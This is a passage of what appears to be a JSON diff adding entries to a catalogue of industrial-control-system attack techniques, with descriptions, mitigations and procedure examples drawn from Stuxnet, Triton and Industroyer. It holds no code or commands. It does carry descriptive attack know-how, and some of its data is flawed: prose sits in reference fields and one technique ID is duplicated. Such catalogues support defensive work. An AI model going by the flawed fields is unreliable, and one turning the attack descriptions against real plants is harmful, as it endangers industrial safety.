environment enabling further execution and persistence techniques. Adversaries may export their own code into project files with conditions to execute at specific intervals.3 Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.", + "meta": { + "Procedure Examples": [ + "Stuxnet copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project is loaded" + ], + "Tactic": [ + "Persistence, Execution" + ], + "Technique ID": [ + "T873" + ], + "refs": [ + "https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id=", + "http://www.plcdev.com/book/export/html/373", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "46034514-6c9c-4afd-8158-246279fcd7d1", + "value": "Project File Infection" + }, + { + "description": "Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. ", + "meta": { + "Procedure Examples": [ + "Bad Rabbit can move laterally through industrial networks by means of the SMB service.", + "NotPetya can move laterally through industrial networks by means of the SMB service.", + "WannaCry can move laterally through industrial networks by means of the SMB service." + ], + "Tactic": [ + "Lateral Movement" + ], + "Technique ID": [ + "T867" + ], + "refs": [ + "WannaCry can move laterally through industrial networks by means of the SMB service.", + "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/" + ] + }, + "uuid": "de0f0771-1772-421c-b2d4-4f913067583d", + "value": "Remote File Copy" + }, + { + "description": "Remote System Discovery is the process of identifying the presence of hosts on a network1, and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is Nmap. Remote System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists.", + "meta": { + "Mitigations": [ + "Segmenting the network with VLANs allow switches to enforce security policies and segregate traffic at the Ethernet layer.7 Proper segmentation helps mitigate the risk of broadcast storms resulting from port scans. Assigning each automation cell to a single VLAN limits unnecessary traffic flooding.", + "Prior to wireless network installation, survey the area to determine the antenna location and strength that minimizes exposure of the network. An adversary is capable of extending the effective range of a wireless LAN with powerful directional antennas.", + "Secure and restrict authorization to the control room and the physical environment. ICS devices should stay in their designated areas.", + "Implement VPNs to further restrict access in and out of control system computers and controllers, which help remove unauthorized, non-essential traffic from the intermediary network.", + "Monitor the network and enforce access control practices, such as whitelisting, to reduce points of contact to and from control system devices, where applicable. Utilize intrusion detection system (IDS) capabilities to assist with detecting and preventing the spread of malicious files.", + "Implement heuristics to detect monitoring and invasive probing activity on the network. Filter and limit communications to and from devices. Ensure devices are patched and up-to-date." + ], + "Procedure Examples": [ + "The Backdoor.Oldrea ICS malware plugin relies on Windows networking (WNet) to discover all the servers, including OPC servers, that are reachable by the compromised machine over the network.", + "The Industroyer IEC 61850 payload enumerates all possible IP addresses for each of the subnet masks for the interfaces on the infected machine, and tries to connect to port 102 on each of those addresses. Therefore, this component has the ability to discover relevant devices in the network automatically.", + "PLC-Blaster scans the network to find other Siemens S7 PLC devices to infect. It locates these devices by checking for a service listening on TCP port 102.", + "Stuxnet scanned the network to identify the Siemens PLCs that it was targeting.", + "Triton uses a Python script that is capable of detecting Triconex controllers on the network by sending a specific UDP broadcast packet over port 1502." + ], + "Tactic": [ + "Discovery" + ], + "Technique ID": [ + "T846" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1018", + "https://pdfs.semanticscholar.org/18df/43ef1690b0fae15a36f770001160aefbc6c5.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "a65e1d32-cbff-40cb-af45-72fd5ad393ff", + "value": "Remote System Discovery" + }, + { + "description": "Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers.9 An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.", + "meta": { + "Procedure Examples": [ + "Conficker exploits Windows drive shares. Once it has infected a computer, Conficker automatically copies itself to all visible open drive shares on other computers inside the network. Nuclear power plant officials suspect someone brought in Conficker by accident on a USB thumb drive, either from home or computers found in the power plant's facility.", + "Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment. The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T847" + ], + "refs": [ + "https://www.kkw-gundremmingen.de/presse.php?id=571", + "Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment.12 The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened.", + "https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS", + "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml", + "https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant", + "https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/", + "https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/", + "https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298", + "https://www.bbc.com/news/technology-36158606", + "https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/", + "https://support.symantec.com/us/en/article.tech93179.html", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf" + ] + }, + "uuid": "00697a1d-aa6d-4a52-91cf-4c0cbb9ff81f", + "value": "Replication Through Removable Media" + }, + { + "description": "Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations.", + "meta": { + "Mitigations": [ + "Implement Virtual Local Area Networks (VLANs) to divide physical networks into smaller, logical ones with isolated traffic from each other. This limits both broadcast traffic and unnecessary flooding.", + "Encrypt and protect the integrity of wireless device communications, while taking care not to degrade end device performance. OSI Layer 2 encryption, rather than Layer 3, can reduce encryption-based latency. Hardware accelerator solutions for cryptographic functions may also be considered", + "Protect physical devices and restrict access to different locations with authentication to reduce the likelihood the adversary can introduce an outside device. Inventorying of devices and capabilities can assist in finding unknown entities.", + "Check new acquisitions for unexpected features and tampering that could enable them to masquerade as another device.", + "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.", + "Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting tools like AppLocker or Software Restriction Policies where appropriate." + ], + "Tactic": [ + "Evasion Impair Process Control" + ], + "Technique ID": [ + "T848" + ], + "refs": [ + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "uuid": "988cb83e-1ecd-4711-8c71-2d461dddd4f7", + "value": "Rogue Master Device" + }, + { + "description": "Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device. ", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Encrypt and protect the integrity of wireless device communications. Encryption at OSI Layer 2 can be considered instead of at Layer 3, to reduce latency. Authenticate wireless users’ access with a secure IEEE 802.1x authentication protocol, that authenticates users via user certificates or a Remote Authentication Dial In User Service (RADIUS) server.", + "Filter and limit communications to and from devices on the network. Implement relevant heuristics to detect adversarial probing and unexpected communications activity.", + "Wireless access points and data servers for wireless worker devices should be located on an isolated network with minimal connections to the ICS network.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with." + ], + "Procedure Examples": [ + "The Backdoor.Oldrea payload gathers server information that includes CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth. This information helps indicate the role the server has in the control process.", + "The Industroyer IEC 61850 component enumerates the objects discovered in the previous step and sends the domain-specific getNameList requests with each object name. This enumerates named variables in a specific domain." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T850" + ], + "refs": [ + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.", + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "52099a90-ab4f-43a8-8047-89492f5dadc4", + "value": "Role Identification" + }, + { + "description": "Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact. ", + "meta": { + "Mitigation": [ + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.", + "Hold new acquisitions to strict security requirements; be sure they are properly secured and haven’t been tampered with", + "In environments with a high risk of interception or intrusion, organizations should consider supplementing password authentication with other forms of authentication such as multi-factor authentication using biometric or physical tokens.", + "Make use of antivirus and malware detection tools to further secure the environment.", + "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate." + ], + "Procedure Examples": [ + "One of Stuxnet's rootkits is contained entirely in the fake s7otbxdx.dll. In order to continue existing undetected on the PLC it needs to account for at least the following situations: read requests for its own malicious code blocks, read requests for infected blocks (OB1, OB35, DP_RECV), and write requests that could overwrite Stuxnet’s own code. Stuxnet contains code to monitor and intercept these types of requests. The rootkit modifies these requests so that Stuxnet’s PLC code is not discovered or damaged.", + "When the peripheral output is written to, sequence C of Stuxnet intercepts the output and ensures it is not written to the process image output. The output is the instructions the PLC sends to a device to change its operating behavior. By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent to the peripheral." + ], + "Tactic": [ + "Evasion, Impair Process Control" + ], + "Technique ID": [ + "T851" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1014", + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "uuid": "753a01c8-60c3-41f4-9241-166d884e1b84", + "value": "Rootkit" + }, + { + "description": "Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices. ", + "meta": { + "Procedure Examples": [ + "ALLANITE has been identified to collect and distribute screenshots of ICS systems such as HMIs", + "APT33 utilize backdoors capable of capturing screenshots once installed on a system", + "Dragonfly has been reported to take screenshots of the GUI for ICS equipment, such as HMIs." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T852" + ], + "refs": [ + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://dragos.com/resource/allanite/", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.symantec.com/security-center/writeup/2017-030708-4403-99" + ] + }, + "uuid": "2711392c-7f55-4d48-a505-cfd5de3c3e0e", + "value": "Screen Capture" + }, + { + "description": "Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task. ", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions", + "These access restrictions should also apply to configuration and systems settings.", + "The ability to make certain changes, alter settings, and run files should be at least protected by basic password authentication. In environments where passwords may be intercepted or sent as plaintext, implement multi-factor authentication to supplement password use.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Physical access to systems may allow the adversary to run scripts, if privileged accounts are logged in. Consider enforcing a logoff or timeout policy, consistent with operational needs." + ], + "Procedure Examples": [ + "APT33 utilized PowerShell scripts to establish command and control and install files for execution.", + "HEXANE utilizes VBA macros and Powershell scripts such as DanDrop and kl.ps1 tools", + "OilRig has embedded a macro within spearphishing attachments that has been made up of both a VBScript and a PowerShell script.", + "In the version of Triton available at the time of publication, the component that programs the Triconex controllers is written entirely in Python. The modules that implement the communciation protocol and other supporting components are found in a separate file -- library.zip -- which the main script that employs this functionality is compiled into a standalone Windows executable -- trilog.exe -- that includes a Python environment.", + "A Python script seen in Triton communicates using four Python modules—TsBase, TsLow, TsHi, and TS_cnames—that collectively implement the TriStation network protocol (“TS”, via UDP 1502); this is the protocol that the TriStation TS1131 software uses to communicate with Triconex safety PLCs." + ], + "Tactic": [ + "Execution" + ], + "Technique ID": [ + "T854" + ], + "refs": [ + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://dragos.com/resource/magnallium/", + "https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms", + "https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003", + "https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "38959743-d33f-4e4c-9be2-3c1f773b0c30", + "value": "Scripting" + }, + { + "description": "Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack. ", + "meta": { + "Mitigations": [ + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Keep documentation and portable assets secured and stowed away when not in use.", + "Limit communications to and from devices wherever possible, such as enforcing whitelist policies for network-based communications." + ], + "Procedure Examples": [ + "Industroyer contains modules for IEC 101 and IEC 104 communications. IEC 101 uses serial for the physical connection and IEC 104 uses Ethernet. Analysis of the malware by Dragos states that both of the modules have equivalent functionality. The IEC 104 module uses Network Connection Enumeration to determine the Ethernet adapters on the device. Since functionality between the two modules are equivalent, this implies that the IEC 101 module is able to detect serial interfaces on the device." + ], + "Tactic": [ + "Discovery" + ], + "Technique ID": [ + "T854" + ], + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "7bbc25f1-eec4-4ecc-bc98-071dc89d25b2", + "value": "Serial Connection Enumeration" + }, + { + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.", + "meta": { + "Procedure Examples": [ + "Industroyer has the capability to stop a service itself, or to login as a user and stop a service as that user.", + "KillDisk looks for and terminates two non-standard processes, one of which is an ICS application." + ], + "Tactic": [ + "Impair Process Control" + ], + "Technique ID": [ + "T881" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1489/", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/" + ] + }, + "uuid": "249f3b38-db72-4941-a36c-59b5db185b87", + "value": "Service Stop" + }, + { + "description": "Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.", + "meta": { + "Procedure Examples": [ + "ALLANITE utilized spear phishing to gain access into energy sector environments", + "APT33 sent spear phishing emails containing links to HTML application files, which were embedded with malicious code.", + "APT33 has conducted targeted spear phishing campaigns against U.S. government agencies and private sector companies.", + "Dragonfly 2.0 used the Phishery tool kit to conduct spear phishing attacks and gather credentials.56 Dragonfly 2.0 conducted a targeted spear phishing campaign against multiple electric utilities in the North America", + "Dragonfly sent pdf documents over email which contained links to malicious sites and downloads", + "HEXANE has used malicious documents to drop malware and gain access into an environment.", + "Lazarus group has been observed targeting organizations using spearphishing documents with embedded malicious payloads.11 Highly targeted spear phishing campaigns have been conducted against a U.S. electric grid company.", + "OilRig used spearphishing emails with malicious Microsoft Excel spreadsheet attachments.", + "The Backdoor.Oldrea RAT is distributed through a trojanized installer attached to emails.", + "BlackEnergy targeted energy sector organizations in a wide reaching email spearphishing campaign. Adversaries utilized malicious Microsoft Word documents attachments." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T865" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1193/", + "https://www.eisac.com/public-news-detail?id=115909", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.wired.com/story/iran-hackers-us-phishing-tensions/", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://dragos.com/wp-content/uploads/Sample-WorldView-Report.pdf", + "https://dragos.com/wp-content/uploads/yir-ics-activity-groups-threat-landscape-2018.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://dragos.com/resource/hexane/", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos", + "https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf" + ] + }, + "uuid": "813ea621-37d0-44dc-aaef-74cacca69f43", + "value": "Spearphishing Attachment" + }, + { + "description": "Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network. ", + "meta": { + "Procedure Examples": [ + "HEXANE communicated with command and control over HTTP and DNS.", + "OilRig communicated with its command and control using HTTP requests", + "BlackEnergy uses HTTP POST request to contact external command and control servers.", + "Stuxnet attempts to contact command and control servers over HTTP to send basic information about the computer it has compromised." + ], + "Tactic": [ + "Command and Control" + ], + "Technique ID": [ + "T869" + ], + "refs": [ + "https://dragos.com/resource/hexane/", + "https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + ] + }, + "uuid": "6b277198-78b1-4910-bfea-21803c1b8048", + "value": "Standard Application Layer Protocol" + }, + { + "description": "Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).", + "meta": { + "Procedure Examples": [ + "Dragonfly 2.0 trojanized legitimate software to deliver malware disguised as standard windows applications.", + "ENOTIME targeted several ICS vendors and manufacturers.", + "The Backdoor.Oldrea RAT is distributed through trojanized installers planted on compromised vendor sites." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T862" + ], + "refs": [ + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf", + "https://www.f-secure.com/weblog/archives/00002718.html" + ] + }, + "uuid": "eb58509d-92e4-4d43-bfd6-99b26dc62d37", + "value": "Supply Chain Compromise" + }, + { + "description": "System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation.", + "meta": { + "Mitigations": [ + "Access to device configuration settings should be restricted. IT products should be secured, in the most restrictive mode, on par with ICS operational requirements.", + "Maintain and patch module firmware, checking to ensure the version and state are as expected. Firmware that requires a cryptographic key will be harder for the adversary to alter", + "Be wary of improper modifications before, during, and after system implementation", + "Enforcing proper firmware update policies and procedures may help distinguish intended update activity from malicious activity. Require source and data authentication, at a minimum, as part of this process.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network. Take care to keep backups and stored data in secure, protected locations.", + "Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.", + "Hold new acquisitions to strict security requirements; be sure they are properly secured and haven’t been tampered with. Monitor existing module firmware with applicable assessments to ensure devices are at the expected versions.", + "Monitor the network and enforce access control practices, such as whitelisting, to reduce points of contact to and from control system devices, where applicable. Utilize intrusion detection system (IDS) capabilities to assist with detecting and preventing the spread of malicious files", + "Limit access to the network and require authentication as a barrier. Test access to field devices from outside the network, to help determine if an adversary could reach them." + ], + "Procedure Examples": [ + "The malicious shellcode Triton uses is split into two separate pieces -- inject.bin and imain.bin. The former program is more generic code that handles injecting the payload into the running firmware, while the latter is the payload that actually performs the additional malicious functionality. The payload --imain.bin-- is designed to take a TriStation protocol get main processor diagnostic data command, look for a specially crafted packet body, and perform custom actions on demand. It is able to read and write memory on the safety controller and execute code at an arbitrary address within the firmware. In addition, if the memory address it writes to is within the firmware region, it disables address translation, writes the code at the provided address, flushes the instruction cache, and re-enables address translation. This allows the malware to make changes to the running firmware in memory. This allows Triton to change how the device operates and would allow for the modification of other actions that the Triton controller might make" + ], + "Tactic": [ + "Persistence, Inhibit Response Function" + ], + "Technique ID": [ + "T857" + ], + "refs": [ + "http://www.sciencedirect.com/science/article/pii/S1874548213000231", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "1d8e19f2-66f7-4a48-9f9d-26b6d512cdcd", + "value": "System Firmware" + }, + { + "description": "Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data.", + "meta": { + "Procedure Examples": [ + "ACAD/Medre.A can collect AutoCad files with drawings. These drawings may contain operational information.", + "Duqu’s purpose is to gather intelligence data and assets from entities such as industrial infrastructure and system manufacturers, amongst others not in the industrial sector, in order to more easily conduct a future attack against another third party.", + "Flame can collect AutoCAD design data and visio diagrams as well as other documents that may contain operational information." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T882" + ], + "refs": [ + "https://time.com/4270728/iran-cyber-attack-dam-fbi/", + "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", + "https://www.symantec.com/security-center/writeup/2012-052811-0308-99" + ] + }, + "uuid": "c92ffac5-3979-4209-8f81-9ca45e556a73", + "value": "Theft of Operational Information" + }, + { + "description": "Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control 